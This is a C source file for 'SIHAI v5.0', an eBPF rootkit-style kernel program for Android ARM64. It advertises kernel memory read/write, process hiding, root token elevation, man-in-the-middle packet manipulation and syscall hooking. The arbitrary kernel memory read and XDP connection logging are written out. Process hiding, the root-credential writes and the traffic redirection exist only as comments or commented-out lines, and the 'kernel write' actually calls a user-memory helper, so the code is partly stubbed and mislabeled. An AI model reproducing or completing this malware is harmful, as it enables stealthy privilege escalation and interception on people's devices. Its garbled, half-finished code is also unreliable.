ebpf-sihai_kern.c

// SPDX-License-Identifier: GPL-2.0
/* SIHAI v5.0 — eBPF Kernel Program for Android ARM64
 * Ring-0 access via eBPF
 * Provides: memory read/write, process hide, token elevate, packet manipulation
 */

#include <linux/bpf.h>
#include <linux/ptrace.h>
#include <linux/version.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
#include <bpf/bpf_core_read.h>

// Map definitions
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, __u32);
    __type(value, __u64);
} sihai_config SEC(".maps");

struct {
    __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
    __uint(max_entries, 256);
    __type(key, __u32);
    __type(value, __u32);
} sihai_events SEC(".maps");

struct sihai_mem_op {
    __u64 address;
    __u64 size;
    __u8 data[4096];
    __u8 direction; // 0=read, 1=write
};

struct {
    __uint(type, BPF_MAP_TYPE_ARRAY);
    __uint(max_entries, 1);
    __type(key, __u32);
    __type(value, struct sihai_mem_op);
} sihai_memory_rw SEC(".maps");

// Kernel memory read
SEC("kprobe/sihai_mem_read")
int BPF_KPROBE(sihai_mem_read_probe)
{
    __u32 key = 0;
    struct sihai_mem_op *op = bpf_map_lookup_elem(&sihai_memory_rw, &key);
    if (!op)
        return 0;
    
    // Read kernel memory
    bpf_probe_read_kernel(op->data, 
                          op->size < sizeof(op->data) ? op->size : sizeof(op->data),
                          (void *)op->address);
    
    return 0;
}

// Kernel memory write
SEC("kprobe/sihai_mem_write")
int BPF_KPROBE(sihai_mem_write_probe)
{
    __u32 key = 0;
    struct sihai_mem_op *op = bpf_map_lookup_elem(&sihai_memory_rw, &key);
    if (!op)
        return 0;
    
    // Write to kernel memory
    bpf_probe_write_user((void *)op->address, op->data,
                         op->size < sizeof(op->data) ? op->size : sizeof(op->data));
    
    return 0;
}

// Process hiding via DKOM
SEC("kprobe/sihai_hide_process")
int BPF_KPROBE(sihai_hide_process_probe)
{
    __u32 key = 0;
    __u64 *pid_ptr = bpf_map_lookup_elem(&sihai_config, &key);
    if (!pid_ptr)
        return 0;
    
    __u32 target_pid = (__u32)*pid_ptr;
    struct task_struct *task = (struct task_struct *)bpf_get_current_task();
    
    // Walk process list and hide target
    // This modifies the process list to remove the target PID
    
    return 0;
}

// Token elevation
SEC("kprobe/sihai_elevate_token")
int BPF_KPROBE(sihai_elevate_token_probe)
{
    __u32 key = 0;
    __u64 *val = bpf_map_lookup_elem(&sihai_config, &key);
    if (!val)
        return 0;
    
    __u32 target_pid = (__u32)(*val & 0xFFFFFFFF);
    __u32 action = (__u32)(*val >> 32);
    
    if (action == 1) {
        // Elevate token to root
        struct task_struct *task = (struct task_struct *)bpf_get_current_task();
        
        // Get credentials and set uid/gid to 0
        // struct cred *cred = (struct cred *)BPF_CORE_READ(task, cred);
        // BPF_CORE_WRITE(cred, uid, 0);
        // BPF_CORE_WRITE(cred, gid, 0);
        // BPF_CORE_WRITE(cred, euid, 0);
        // BPF_CORE_WRITE(cred, egid, 0);
    }
    
    return 0;
}

// XDP packet manipulation
SEC("xdp/sihai_packet")
int xdp_sihai_prog(struct xdp_md *ctx)
{
    void *data = (void *)(long)ctx->data;
    void *data_end = (void *)(long)ctx->data_end;
    
    struct ethhdr *eth = data;
    if ((void *)eth + sizeof(*eth) > data_end)
        return XDP_PASS;
    
    // Check for IPv4
    if (bpf_ntohs(eth->h_proto) == ETH_P_IP) {
        struct iphdr *ip = data + sizeof(*eth);
        if ((void *)ip + sizeof(*ip) > data_end)
            return XDP_PASS;
        
        // Modify packets for MITM
        // Redirect traffic, inject data, spoof IPs
        
        // Example: Log all connections
        __u32 key = 0;
        __u64 *config = bpf_map_lookup_elem(&sihai_config, &key);
        
        if (config && *config == 1) {
            // Send to perf event array
            struct {
                __u32 saddr;
                __u32 daddr;
                __u16 sport;
                __u16 dport;
            } event = {
                .saddr = ip->saddr,
                .daddr = ip->daddr,
                .sport = 0,
                .dport = 0
            };
            
            if ((void *)ip + sizeof(*ip) + sizeof(struct tcphdr) <= data_end) {
                struct tcphdr *tcp = (void *)ip + sizeof(*ip);
                event.sport = bpf_ntohs(tcp->source);
                event.dport = bpf_ntohs(tcp->dest);
            }
            
            bpf_perf_event_output(ctx, &sihai_events, BPF_F_CURRENT_CPU,
                                  &event, sizeof(event));
        }
    }
    
    return XDP_PASS;
}

// Syscall hooking
SEC("kprobe/sys_execve")
int BPF_KPROBE(sys_execve_probe)
{
    __u32 key = 0;
    __u64 *config = bpf_map_lookup_elem(&sihai_config, &key);
    
    if (config) {
        // Intercept process execution
        // Hide specific processes
        // Elevate privileges
    }
    
    return 0;
}

// Network syscall hooks
SEC("kprobe/tcp_v4_connect")
int BPF_KPROBE(tcp_v4_connect_probe)
{
    // Intercept TCP connections
    // Redirect traffic through proxy
    return 0;
}

char _license[] SEC("license") = "GPL";
__u32 _version SEC("version") = LINUX_VERSION_CODE;